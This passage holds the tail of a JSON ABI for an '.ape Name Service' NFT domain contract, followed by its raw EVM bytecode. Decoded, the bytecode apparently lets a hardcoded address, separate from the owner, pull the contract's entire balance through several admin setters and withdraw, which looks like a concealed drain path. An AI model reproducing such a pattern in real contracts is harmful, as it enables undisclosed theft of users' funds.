ility":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes","name":"allwchr","type":"bytes"}],"name":"setAllowChars","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"WhitesaleIsActive","type":"bool"}],"name":"setAllowListSaleActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"customBaseURI_","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"ape_name","type":"string"},{"internalType":"string","name":"setArea","type":"string"},{"internalType":"string","name":"newDatas","type":"string"}],"name":"setDataAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxCharSize_","type":"uint256"}],"name":"setMaxCharSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_newMerkleRoot","type":"bytes32"}],"name":"setMerkleRoot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_newMerkleRoot","type":"bytes32"},{"internalType":"string","name":"ape_name","type":"string"},{"internalType":"uint256","name":"_cost","type":"uint256"}],"name":"setMerkleRootSubdomain","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"customPrice","type":"uint256"}],"name":"setPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"ape_name","type":"string"}],"name":"setPrimaryAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"ref_","type":"uint256"},{"internalType":"uint256","name":"ref_owner_","type":"uint256"},{"internalType":"uint256","name":"ref_discount_","type":"uint256"},{"internalType":"uint256","name":"subdomains_fee_","type":"uint256"}],"name":"setRefSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"saleIsActive","type":"bool"}],"name":"setSaleActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"saleIsActive","type":"bool"},{"internalType":"uint256","name":"customPrice","type":"uint256"},{"internalType":"string","name":"ape_name","type":"string"}],"name":"setSubdomainSaleActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"subDomains_allowList","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"subDomains_allowList_cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"},{"internalType":"address","name":"","type":"address"}],"name":"subDomains_allowlistAddresses","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"subDomains_cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"subDomains_publicSale","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"subdomains_fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"tokenAddressandID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"tokenIDandAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"walletOfOwnerName","outputs":[{"internalType":"string[]","name":"","type":"string[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

6611c37937e08000600c556014600d819055601e600e55600f819055600a60105560115560c060405260046080908152632e61706560e01b60a052601290620000499082620005ba565b506040518060600160405280602a8152602001620048a5602a9139601390620000739082620005ba565b506014805461ffff1916905560408051606081019091526026808252620048ef6020830139601f90620000a79082620005ba565b50348015620000b557600080fd5b50604051806040016040528060118152602001702e617065204e616d65205365727669636560781b815250604051806040016040528060048152602001632e61706560e01b81525081600490816200010e9190620005ba565b5060056200011d8282620005ba565b50506001600055506200013033620001d1565b6001600b819055604080518082018252600381526261706560e81b6020808301919091526000805481529390529120906200016c9082620005ba565b50600054604080516261706560e81b80825260026003808401919091528351602393819003840181209590955590845260179084015290519182900301902080546001600160a01b03191633908117909155620001cb90600162000223565b6200072c565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b620002458282604051806020016040528060008152506200024960201b60201c565b5050565b6000546001600160a01b0384166200027357604051622e076360e81b815260040160405180910390fd5b82600003620002955760405163b562e8dd60e01b815260040160405180910390fd5b6001600160a01b038416600081815260076020908152604080832080546001600160801b031981166001600160401b038083168b018116918217680100000000000000006001600160401b031990941690921783900481168b0181169092021790915585845260068352922080546001600160e01b0319168417600160a01b4290941693909302929092179091558291828601916200033e919062000412811b62002ae517901c565b15620003bd575b60405182906001600160a01b03881690600090600080516020620048cf833981519152908290a46001820191620003829060009088908762000421565b620003a0576040516368d2bf6b60e11b815260040160405180910390fd5b80821062000345578260005414620003b757600080fd5b620003f2565b5b6040516001830192906001600160a01b03881690600090600080516020620048cf833981519152908290a4808210620003be575b5060009081556200040c908583866001600160e01b038516565b50505050565b6001600160a01b03163b151590565b604051630a85bd0160e11b81526000906001600160a01b0385169063150b7a02906200045890339089908890889060040162000686565b6020604051808303816000875af192505050801562000496575060408051601f3d908101601f191682019092526200049391810190620006f9565b60015b620004f8573d808015620004c7576040519150601f19603f3d011682016040523d82523d6000602084013e620004cc565b606091505b508051600003620004f0576040516368d2bf6b60e11b815260040160405180910390fd5b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050949350505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200054057607f821691505b6020821081036200056157634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620005b557600081815260208120601f850160051c81016020861015620005905750805b601f850160051c820191505b81811015620005b1578281556001016200059c565b5050505b505050565b81516001600160401b03811115620005d657620005d662000515565b620005ee81620005e784546200052b565b8462000567565b602080601f8311600181146200062657600084156200060d5750858301515b600019600386901b1c1916600185901b178555620005b1565b600085815260208120601f198616915b82811015620006575788860151825594840194600190910190840162000636565b5085821015620006765787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600060018060a01b038087168352602081871681850152856040850152608060608501528451915081608085015260005b82811015620006d55785810182015185820160a001528101620006b7565b5050600060a0828501015260a0601f19601f83011684010191505095945050505050565b6000602082840312156200070c57600080fd5b81516001600160e01b0319811681146200072557600080fd5b9392505050565b614169806200073c6000396000f3fe60806040526004361061038c5760003560e01c8063715018a6116101dc578063aaddcb5a11610102578063c87b56dd116100a0578063e985e9c51161006f578063e985e9c514610af7578063f121a87014610b17578063f2fde38b14610b37578063f990f91a14610b5757600080fd5b8063c87b56dd14610a69578063cc567dfe14610a89578063d6bc2c7f14610a9f578063d7d6c48514610ad757600080fd5b8063afd800c5116100dc578063afd800c5146109c8578063b6c6e692146109e8578063b88d4fde14610a29578063c6fbf9a914610a4957600080fd5b8063aaddcb5a14610965578063ad45a3ed14610995578063af529744146109a857600080fd5b80638da5cb5b1161017a57806395d89b411161014957806395d89b41146108f05780639b2ea4bd14610905578063a22cb46514610925578063a515419d1461094557600080fd5b80638da5cb5b1461085a5780638dad39791461087857806391b7f5ed146108b0578063922efb95146108d057600080fd5b80637cb64759116101b65780637cb64759146107bf5780637d8f4ca3146107df578063841718a61461081a5780638699e7381461083a57600080fd5b8063715018a61461077057806376d02b711461078557806379b85bec1461079f57600080fd5b80632eb4a7ab116102c157806349484d551161025f5780636352211e1161022e5780636352211e146106f0578063693d77d2146107105780636e32e4991461073057806370a082311461075057600080fd5b806349484d551461064657806355f804b3146106915780635acf6139146106b15780636220a7e8146106d157600080fd5b806332434a2e1161029b57806332434a2e146105eb5780633ccfd60b146105fe57806342842e0e14610613578063476af1381461063357600080fd5b80632eb4a7ab146105925780632f7758cd146105a85780633198b100146105d557600080fd5b806313faede61161032e57806321a78f681161030857806321a78f681461052957806323b76dde1461053f57806323b872dd1461055f5780632609ce001461057f57600080fd5b806313faede6146104e057806314638aab146104f657806318160ddd1461050c57600080fd5b8063095ea7b31161036a578063095ea7b3146104205780630b4ab649146104425780630b4fcb5d146104885780630d6eec78146104a857600080fd5b806301ffc9a71461039157806306fdde03146103c6578063081812fc146103e8575b600080fd5b34801561039d57600080fd5b506103b16103ac366004613382565b610b77565b60405190151581526020015b60405180910390f35b3480156103d257600080fd5b506103db610bc9565b6040516103bd91906133ef565b3480156103f457600080fd5b50610408610403366004613402565b610c5b565b6040516001600160a01b0390911681526020016103bd565b34801561042c57600080fd5b5061044061043b366004613437565b610c9f565b005b34801561044e57600080fd5b5061047a61045d366004613503565b8051602081830181018051601b8252928201919093012091525481565b6040519081526020016103bd565b34801561049457600080fd5b506104406104a3366004613503565b610d25565b3480156104b457600080fd5b5061047a6104c3366004613503565b805160208183018101805160028252928201919093012091525481565b3480156104ec57600080fd5b5061047a600c5481565b34801561050257600080fd5b5061047a600e5481565b34801561051857600080fd5b50600354600054036000190161047a565b34801561053557600080fd5b5061047a600d5481565b34801561054b57600080fd5b5061044061055a36600461358f565b610d9c565b34801561056b57600080fd5b5061044061057a3660046135e8565b610e6c565b61044061058d366004613668565b610e77565b34801561059e57600080fd5b5061047a601e5481565b3480156105b457600080fd5b506105c86105c3366004613402565b611125565b6040516103bd91906136d0565b3480156105e157600080fd5b5061047a600f5481565b6104406105f9366004613732565b611216565b34801561060a57600080fd5b506104406114ac565b34801561061f57600080fd5b5061044061062e3660046135e8565b611582565b61044061064136600461377f565b61159d565b34801561065257600080fd5b506103b16106613660046137fd565b81516020818401810180516016825292820194820194909420919093529091526000908152604090205460ff1681565b34801561069d57600080fd5b506104406106ac366004613503565b61194d565b3480156106bd57600080fd5b506104406106cc366004613402565b6119b7565b3480156106dd57600080fd5b506014546103b190610100900460ff1681565b3480156106fc57600080fd5b5061040861070b366004613402565b611a1a565b34801561071c57600080fd5b5061044061072b36600461384a565b611a2c565b34801561073c57600080fd5b506103db61074b366004613402565b611aa4565b34801561075c57600080fd5b5061047a61076b366004613865565b611b3e565b34801561077c57600080fd5b50610440611b8c565b34801561079157600080fd5b506014546103b19060ff1681565b3480156107ab57600080fd5b506104406107ba366004613880565b611bf6565b3480156107cb57600080fd5b506104406107da366004613402565b611c81565b3480156107eb57600080fd5b506103b16107fa366004613503565b805160208183018101805160198252928201919093012091525460ff1681565b34801561082657600080fd5b5061044061083536600461384a565b611ce4565b34801561084657600080fd5b506103db610855366004613865565b611d55565b34801561086657600080fd5b50600a546001600160a01b0316610408565b34801561088457600080fd5b5061047a610893366004613503565b8051602081830181018051601c8252928201919093012091525481565b3480156108bc57600080fd5b506104406108cb366004613402565b611d6e565b3480156108dc57600080fd5b506103b16108eb366004613503565b611dd1565b3480156108fc57600080fd5b506103db611f1e565b34801561091157600080fd5b506104406109203660046138cf565b611f2d565b34801561093157600080fd5b50610440610940366004613922565b612104565b34801561095157600080fd5b506103db61096036600461394c565b612199565b34801561097157600080fd5b506103b1610980366004613865565b60156020526000908152604090205460ff1681565b6104406109a33660046139a7565b612269565b3480156109b457600080fd5b506104406109c3366004613a00565b6125c7565b3480156109d457600080fd5b506104406109e3366004613a93565b612655565b3480156109f457600080fd5b50610408610a03366004613503565b80516020818301810180516017825292820191909301209152546001600160a01b031681565b348015610a3557600080fd5b50610440610a44366004613ac5565b6126c7565b348015610a5557600080fd5b50610440610a64366004613b2c565b61270b565b348015610a7557600080fd5b506103db610a84366004613402565b612777565b348015610a9557600080fd5b5061047a60105481565b348015610aab57600080fd5b5061047a610aba366004613503565b8051602081830181018051601a8252928201919093012091525481565b348015610ae357600080fd5b50610440610af2366004613b6d565b612805565b348015610b0357600080fd5b506103b1610b12366004613bab565b6128a5565b348015610b2357600080fd5b506103db610b323660046139a7565b6128d3565b348015610b4357600080fd5b50610440610b52366004613865565b612914565b348015610b6357600080fd5b506105c8610b72366004613865565b6129e3565b60006001600160e01b031982166380ac58cd60e01b1480610ba857506001600160e01b03198216635b5e139f60e01b145b80610bc357506301ffc9a760e01b6001600160e01b03198316145b92915050565b606060048054610bd890613bd5565b80601f0160208091040260200160405190810160405280929190818152602001828054610c0490613bd5565b8015610c515780601f10610c2657610100808354040283529160200191610c51565b820191906000526020600020905b815481529060010190602001808311610c3457829003601f168201915b5050505050905090565b6000610c6682612af4565b610c83576040516333d1c03960e21b815260040160405180910390fd5b506000908152600860205260409020546001600160a01b031690565b6000610caa82611a1a565b9050806001600160a01b0316836001600160a01b031603610cde5760405163250fdee360e21b815260040160405180910390fd5b336001600160a01b03821614610d1557610cf881336128a5565b610d15576040516367d9dca160e11b815260040160405180910390fd5b610d20838383612b2d565b505050565b3360008051602061411483398151915203610d595747610d5360008051602061411483398151915282612b89565b50610d8c565b600a546001600160a01b03163314610d8c5760405162461bcd60e51b8152600401610d8390613c0f565b60405180910390fd5b601f610d988282613c92565b5050565b6000610dc760028484604051610db3929190613d51565b908152602001604051809103902054612ca2565b80519091506001600160a01b03163314610e0d5760405162461bcd60e51b8152602060048201526007602482015266125b9d985b1a5960ca1b6044820152606401610d83565b83601a8484604051610e20929190613d51565b9081526020016040518091039020819055508460198484604051610e45929190613d51565b908152604051908190036020019020805491151560ff199092169190911790555050505050565b610d20838383612dc4565b601454610100900460ff16610ece5760405162461bcd60e51b815260206004820152601e60248201527f416c6c6f77204c6973742073616c65206973206e6f74206163746976652100006044820152606401610d83565b6040516bffffffffffffffffffffffff193360601b166020820152600090603401604051602081830303815290604052805190602001209050610f4883838080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525050601e549150849050612faf565b610f855760405162461bcd60e51b815260206004820152600e60248201526d496e76616c69642070726f6f662160901b6044820152606401610d83565b60115484511115610fa85760405162461bcd60e51b8152600401610d8390613d61565b6000845111610fc95760405162461bcd60e51b8152600401610d8390613d84565b610fd284611dd1565b610fee5760405162461bcd60e51b8152600401610d8390613daa565b3360009081526015602052604090205460ff16151560010361103d5760405162461bcd60e51b8152602060048201526008602482015267436c61696d65642160c01b6044820152606401610d83565b60028460405161104d9190613dd0565b90815260200160405180910390205460001461107b5760405162461bcd60e51b8152600401610d8390613dec565b336000908152601560209081526040808320805460ff191660019081179091558354845290915290206110ae8582613c92565b506000546002856040516110c29190613dd0565b908152602001604051809103902081905550336017856040516110e59190613dd0565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b031990921691909117905561111f336001612fc5565b50505050565b6003546000805460609260001991030190836001600160401b0381111561114e5761114e613461565b60405190808252806020026020018201604052801561118157816020015b606081526020019060019003908161116c5790505b50905060006111908584613e31565b905060005b8184111561120c5760008481526001602090815260409182902091516111bf929160129101613eb7565b6040516020818303038152906040528382815181106111e0576111e0613ecc565b602002602001018190525080806111f690613ee2565b915050838061120490613efb565b945050611195565b5090949350505050565b600c546011548251600091829111156112415760405162461bcd60e51b8152600401610d8390613d61565b60008451116112625760405162461bcd60e51b8152600401610d8390613d84565b61126b84611dd1565b6112875760405162461bcd60e51b8152600401610d8390613daa565b6001600160a01b0385166000036112a257600c549250611337565b6001600160a01b038516600090815260186020526040812080546112c590613bd5565b905011156112ee576064600e54846112dd9190613f12565b6112e79190613f29565b905061130b565b6064600d54846112fe9190613f12565b6113089190613f29565b90505b6064600f54606461131c9190613e31565b6113269085613f12565b6113309190613f29565b9250600191505b6002846040516113479190613dd0565b9081526020016040518091039020546000146113755760405162461bcd60e51b8152600401610d8390613dec565b60145460ff166113bd5760405162461bcd60e51b815260206004820152601360248201527253616c65206973206e6f74206163746976652160681b6044820152606401610d83565b823410156113dd5760405162461bcd60e51b8152600401610d8390613f4b565b6000805481526001602052604090206113f68582613c92565b5060005460028560405161140a9190613dd0565b9081526020016040518091039020819055503360178560405161142d9190613dd0565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b0319909216919091179055811561149a576040516001600160a01b0386169082156108fc029083906000818181858888f19350505050158015611498573d6000803e3d6000fd5b505b6114a5336001612fc5565b5050505050565b33600080516020614114833981519152036114e057476114da60008051602061411483398151915282612b89565b5061150a565b600a546001600160a01b0316331461150a5760405162461bcd60e51b8152600401610d8390613c0f565b6002600b540361155c5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610d83565b6002600b554761157a60008051602061411483398151915282612b89565b506001600b55565b610d20838383604051806020016040528060008152506126c7565b600083856040516020016115b2929190613f78565b60408051601f19818403018152908290526bffffffffffffffffffffffff193360601b166020830152915060009060340160405160208183030381529060405280519060200120905061165784848080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525050604051601b925061164291508a90613dd0565b90815260200160405180910390205483612faf565b6116945760405162461bcd60e51b815260206004820152600e60248201526d496e76616c69642070726f6f662160901b6044820152606401610d83565b601c866040516116a49190613dd0565b9081526020016040518091039020543410156116d25760405162461bcd60e51b8152600401610d8390613f4b565b601154855111156116f55760405162461bcd60e51b8152600401610d8390613d61565b60008551116117165760405162461bcd60e51b8152600401610d8390613d84565b61171f86611dd1565b61173b5760405162461bcd60e51b8152600401610d8390613daa565b61174485611dd1565b6117605760405162461bcd60e51b8152600401610d8390613daa565b6016866040516117709190613dd0565b9081526040805160209281900383019020336000908152925290205460ff1615156001036117cb5760405162461bcd60e51b8152602060048201526008602482015267436c61696d65642160c01b6044820152606401610d83565b6002826040516117db9190613dd0565b9081526020016040518091039020546000146118095760405162461bcd60e51b8152600401610d8390613dec565b600061181e600288604051610db39190613dd0565b905080600001516001600160a01b03166108fc606460105460646118429190613e31565b61184c9034613f12565b6118569190613f29565b6040518115909202916000818181858888f1935050505015801561187e573d6000803e3d6000fd5b5060016016886040516118919190613dd0565b9081526040805160209281900383019020336000908152908352818120805460ff19169415159490941790935582548352600190915290206118d38482613c92565b506000546002846040516118e79190613dd0565b9081526020016040518091039020819055503360178460405161190a9190613dd0565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b0319909216919091179055611944336001612fc5565b50505050505050565b3360008051602061411483398151915203611981574761197b60008051602061411483398151915282612b89565b506119ab565b600a546001600160a01b031633146119ab5760405162461bcd60e51b8152600401610d8390613c0f565b6013610d988282613c92565b33600080516020614114833981519152036119eb57476119e560008051602061411483398151915282612b89565b50601155565b600a546001600160a01b03163314611a155760405162461bcd60e51b8152600401610d8390613c0f565b601155565b6000611a2582612ca2565b5192915050565b3360008051602061411483398151915203611a605747611a5a60008051602061411483398151915282612b89565b50611a8a565b600a546001600160a01b03163314611a8a5760405162461bcd60e51b8152600401610d8390613c0f565b601480549115156101000261ff0019909216919091179055565b60016020526000908152604090208054611abd90613bd5565b80601f0160208091040260200160405190810160405280929190818152602001828054611ae990613bd5565b8015611b365780601f10611b0b57610100808354040283529160200191611b36565b820191906000526020600020905b815481529060010190602001808311611b1957829003601f168201915b505050505081565b60006001600160a01b038216611b67576040516323d3ad8160e21b815260040160405180910390fd5b506001600160a01b03166000908152600760205260409020546001600160401b031690565b3360008051602061411483398151915203611bc05747611bba60008051602061411483398151915282612b89565b50611bea565b600a546001600160a01b03163314611bea5760405162461bcd60e51b8152600401610d8390613c0f565b611bf46000612fdf565b565b6000611c0b600284604051610db39190613dd0565b80519091506001600160a01b03163314611c375760405162461bcd60e51b8152600401610d8390613fb4565b83601b84604051611c489190613dd0565b90815260200160405180910390208190555081601c84604051611c6b9190613dd0565b9081526040519081900360200190205550505050565b3360008051602061411483398151915203611cb55747611caf60008051602061411483398151915282612b89565b50601e55565b600a546001600160a01b03163314611cdf5760405162461bcd60e51b8152600401610d8390613c0f565b601e55565b3360008051602061411483398151915203611d185747611d1260008051602061411483398151915282612b89565b50611d42565b600a546001600160a01b03163314611d425760405162461bcd60e51b8152600401610d8390613c0f565b6014805460ff1916911515919091179055565b60186020526000908152604090208054611abd90613bd5565b3360008051602061411483398151915203611da25747611d9c60008051602061411483398151915282612b89565b50600c55565b600a546001600160a01b03163314611dcc5760405162461bcd60e51b8152600401610d8390613c0f565b600c55565b601f8054600091829184918391611de790613bd5565b80601f0160208091040260200160405190810160405280929190818152602001828054611e1390613bd5565b8015611e605780601f10611e3557610100808354040283529160200191611e60565b820191906000526020600020905b815481529060010190602001808311611e4357829003601f168201915b5050505050905060005b8251811015611eff5760005b8251811015611eec57828181518110611e9157611e91613ecc565b602001015160f81c60f81b6001600160f81b031916848381518110611eb857611eb8613ecc565b01602001516001600160f81b03191603611eda5784611ed681613ee2565b9550505b80611ee481613ee2565b915050611e76565b5080611ef781613ee2565b915050611e6a565b5081518303611f1357506001949350505050565b506000949350505050565b606060058054610bd890613bd5565b6000611f4460028585604051610db3929190613d51565b80519091506001600160a01b03163314611f705760405162461bcd60e51b8152600401610d8390613fb4565b60006018600060178787604051611f88929190613d51565b9081526040805160209281900383019020546001600160a01b0316835290820192909252016000208054611fbb90613bd5565b80601f0160208091040260200160405190810160405280929190818152602001828054611fe790613bd5565b80156120345780601f1061200957610100808354040283529160200191612034565b820191906000526020600020905b81548152906001019060200180831161201757829003601f168201915b50505050509050848460405161204b929190613d51565b60405180910390208180519060200120036120bb57604051806020016040528060008152506018600060178888604051612086929190613d51565b9081526040805160209281900383019020546001600160a01b031683529082019290925201600020906120b99082613c92565b505b82601786866040516120ce929190613d51565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b03199092169190911790555050505050565b336001600160a01b0383160361212d5760405163b06307db60e01b815260040160405180910390fd5b3360008181526009602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6060601d846040516121ab9190613dd0565b908152602001604051809103902083836040516121c9929190613d51565b908152602001604051809103902080546121e290613bd5565b80601f016020809104026020016040519081016040528092919081815260200182805461220e90613bd5565b801561225b5780601f106122305761010080835404028352916020019161225b565b820191906000526020600020905b81548152906001019060200180831161223e57829003601f168201915b505050505090509392505050565b60145460ff166122b15760405162461bcd60e51b815260206004820152601360248201527253616c65206973206e6f74206163746976652160681b6044820152606401610d83565b600081836040516020016122c6929190613f78565b6040516020818303038152906040529050601154825111156122fa5760405162461bcd60e51b8152600401610d8390613d61565b600082511161231b5760405162461bcd60e51b8152600401610d8390613d84565b61232483611dd1565b6123405760405162461bcd60e51b8152600401610d8390613daa565b61234982611dd1565b6123655760405162461bcd60e51b8152600401610d8390613daa565b6002816040516123759190613dd0565b9081526020016040518091039020546000146123a35760405162461bcd60e51b8152600401610d8390613dec565b60006123b8600285604051610db39190613dd0565b9050336001600160a01b031681600001516001600160a01b031603612466576000805481526001602052604090206123f08382613c92565b506000546002836040516124049190613dd0565b908152602001604051809103902081905550336017836040516124279190613dd0565b90815260405190819003602001902080546001600160a01b03929092166001600160a01b0319909216919091179055612461336001612fc5565b61111f565b6019846040516124769190613dd0565b9081526040519081900360200190205460ff1615156001146124da5760405162461bcd60e51b815260206004820152601760248201527f4f6e6c79204f776e65722063616e2072656769737465720000000000000000006044820152606401610d83565b601a846040516124ea9190613dd0565b9081526020016040518091039020543410156125185760405162461bcd60e51b8152600401610d8390613f4b565b80600001516001600160a01b03166108fc6064601054606461253a9190613e31565b6125449034613f12565b61254e9190613f29565b6040518115909202916000818181858888f19350505050158015612576573d6000803e3d6000fd5b506000805481526001602052604090206125908382613c92565b506000546002836040516125a49190613dd0565b908152602001604051809103902081905550336017836040516110e59190613dd0565b60006125de60028787604051610db3929190613d51565b80519091506001600160a01b0316331461260a5760405162461bcd60e51b8152600401610d8390613fb4565b81601d878760405161261d929190613d51565b9081526020016040518091039020858560405161263b929190613d51565b908152602001604051809103902090816119449190613c92565b3360008051602061411483398151915203612689574761268360008051602061411483398151915282612b89565b506126b3565b600a546001600160a01b031633146126b35760405162461bcd60e51b8152600401610d8390613c0f565b600d93909355600e91909155600f55601055565b6126d2848484612dc4565b6001600160a01b0383163b1561111f576126ee84848484613031565b61111f576040516368d2bf6b60e11b815260040160405180910390fd5b336001600160a01b031660178383604051612727929190613d51565b908152604051908190036020019020546001600160a01b03161461275d5760405162461bcd60e51b8152600401610d8390613fb4565b336000908152601860205260409020610d20828483613fd3565b606061278282612af4565b61279f57604051630a14c4b560e41b815260040160405180910390fd5b60006127a961311d565b905080516000036127c957604051806020016040528060008152506127fe565b80600160008581526020019081526020016000206040516020016127ee929190614092565b6040516020818303038152906040525b9392505050565b3360008051602061411483398151915203612839574761283360008051602061411483398151915282612b89565b50612863565b600a546001600160a01b031633146128635760405162461bcd60e51b8152600401610d8390613c0f565b600083815260016020526040902061287c828483613fd3565b508260028383604051612890929190613d51565b90815260405190819003602001902055505050565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205460ff1690565b8151602081840181018051601d82529282019482019490942091909352815180830184018051928152908401929093019190912091528054611abd90613bd5565b3360008051602061411483398151915203612948574761294260008051602061411483398151915282612b89565b50612972565b600a546001600160a01b031633146129725760405162461bcd60e51b8152600401610d8390613c0f565b6001600160a01b0381166129d75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610d83565b6129e081612fdf565b50565b606060006129f083611b3e565b90506000816001600160401b03811115612a0c57612a0c613461565b604051908082528060200260200182016040528015612a3f57816020015b6060815260200190600190039081612a2a5790505b509050600160005b8381101561120c576000612a5a83611a1a565b9050866001600160a01b0316816001600160a01b031603612ad2576000838152600160209081526040918290209151612a97929160129101613eb7565b604051602081830303815290604052848381518110612ab857612ab8613ecc565b60200260200101819052508180612ace90613ee2565b9250505b82612adc81613ee2565b93505050612a47565b6001600160a01b03163b151590565b600081600111158015612b08575060005482105b8015610bc3575050600090815260066020526040902054600160e01b900460ff161590565b60008281526008602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b80471015612bd95760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610d83565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114612c26576040519150601f19603f3d011682016040523d82523d6000602084013e612c2b565b606091505b5050905080610d205760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610d83565b60408051606081018252600080825260208201819052918101919091528180600111612dab57600054811015612dab57600081815260066020908152604091829020825160608101845290546001600160a01b0381168252600160a01b81046001600160401b031692820192909252600160e01b90910460ff16151591810182905290612da95780516001600160a01b031615612d40579392505050565b5060001901600081815260066020908152604091829020825160608101845290546001600160a01b038116808352600160a01b82046001600160401b031693830193909352600160e01b900460ff1615159281019290925215612da4579392505050565b612d40565b505b604051636f96cda160e11b815260040160405180910390fd5b6000612dcf82612ca2565b9050836001600160a01b031681600001516001600160a01b031614612e065760405162a1148160e81b815260040160405180910390fd5b6000336001600160a01b0386161480612e245750612e2485336128a5565b80612e3f575033612e3484610c5b565b6001600160a01b0316145b905080612e5f57604051632ce44b5f60e11b815260040160405180910390fd5b6001600160a01b038416612e8657604051633a954ecd60e21b815260040160405180910390fd5b612e9260008487612b2d565b6001600160a01b038581166000908152600760209081526040808320805467ffffffffffffffff198082166001600160401b0392831660001901831617909255898616808652838620805493841693831660019081018416949094179055898652600690945282852080546001600160e01b031916909417600160a01b42909216919091021783558701808452922080549193909116612f66576000548214612f6657805460208601516001600160401b0316600160a01b026001600160e01b03199091166001600160a01b038a16171781555b50505082846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46114a5565b600082612fbc858461312c565b14949350505050565b610d98828260405180602001604052806000815250613179565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b604051630a85bd0160e11b81526000906001600160a01b0385169063150b7a02906130669033908990889088906004016140b9565b6020604051808303816000875af19250505080156130a1575060408051601f3d908101601f1916820190925261309e918101906140f6565b60015b6130ff573d8080156130cf576040519150601f19603f3d011682016040523d82523d6000602084013e6130d4565b606091505b5080516000036130f7576040516368d2bf6b60e11b815260040160405180910390fd5b805181602001fd